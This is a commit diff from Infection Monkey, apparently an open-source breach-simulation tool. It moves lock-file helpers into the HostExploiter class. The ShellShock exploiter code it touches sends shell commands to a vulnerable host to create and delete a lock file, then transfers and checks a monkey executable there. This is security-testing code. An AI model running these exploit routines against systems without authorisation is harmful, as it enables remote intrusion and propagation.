move try_lock to HostExploiter

monkey/infection_monkey/exploit/__init__.py

@@ -76,6 +76,16 @@ class HostExploiter(object):
         powershell = True if "powershell" in cmd.lower() else False
         self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
 
+    def _try_lock(self, create_file_fn, path):
+        """
+        Create temporary file on target machine to avoid collision of long-running exploiters
+        :return: True if no other monkey is running same exploit
+        """
+        return create_file_fn(path)
+
+    def _exit_lock(self, remove_file_fn, path):
+        remove_file_fn(path)
+
 
 from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
 from infection_monkey.exploit.wmiexec import WmiExploiter

monkey/infection_monkey/exploit/shellshock.py

@@ -20,6 +20,7 @@ LOG = logging.getLogger(__name__)
 TIMEOUT = 2
 TEST_COMMAND = '/bin/uname -a'
 DOWNLOAD_TIMEOUT = 300  # copied from rdpgrinder
+LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
 
 
 class ShellShockExploiter(HostExploiter):
@@ -108,8 +109,10 @@ class ShellShockExploiter(HostExploiter):
                 LOG.info("Can't find suitable monkey executable for host %r", self.host)
                 return False
 
-            if not self._try_lock(exploit, url, header):
-                continue
+            if not self._try_lock(create_file_fn=self._create_lock_file(exploit, url, header),
+                                  path=LOCK_HELPER_FILE):
+                LOG.info("Host %s was already infected under the current configuration, done" % self.host)
+                return True
 
             http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
 
@@ -127,7 +130,8 @@ class ShellShockExploiter(HostExploiter):
             http_thread.join(DOWNLOAD_TIMEOUT)
             http_thread.stop()
 
-            self._exit_lock(exploit, url, header)
+            self._exit_lock(remove_file_fn=self._remove_lock_file(exploit, url, header),
+                            path=LOCK_HELPER_FILE)
 
             if (http_thread.downloads != 1) or (
                         'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
@@ -187,30 +191,21 @@ class ShellShockExploiter(HostExploiter):
                 LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
         return False,
 
-    @classmethod
-    def _try_lock(cls, exploit, url, header):
-        """
-        Checks if another monkey is running shellshock exploit
-        :return: True if no monkey is running shellshock exploit
-        """
-        file_path = '/tmp/monkey_lock'
-        if cls.check_remote_file_exists(url, header, exploit, file_path):
+    def _create_lock_file(self, exploit, url, header):
+        def f(filepath):
+            if self.check_remote_file_exists(url, header, exploit, filepath):
                 LOG.info("Another monkey is running shellshock exploit")
                 return False
-        cmdline = 'echo AAAA > %s' % file_path
-        run_path = exploit + cmdline
-        cls.attack_page(url, header, run_path)
+            cmd = exploit + 'echo AAAA > %s' % filepath
+            self.attack_page(url, header, cmd)
             return True
+        return f
 
-    @classmethod
-    def _exit_lock(cls, exploit, url, header):
-        """
-        Remove lock file from target machine
-        """
-        file_path = '/tmp/monkey_lock'
-        cmdline = 'rm %s' % file_path
-        run_path = exploit + cmdline
-        cls.attack_page(url, header, run_path)
+    def _remove_lock_file(self, exploit, url, header):
+        def f(filepath):
+            cmd = exploit + 'rm %s' % filepath
+            self.attack_page(url, header, cmd)
+        return f
 
     @staticmethod
     def attack_page(url, header, attack):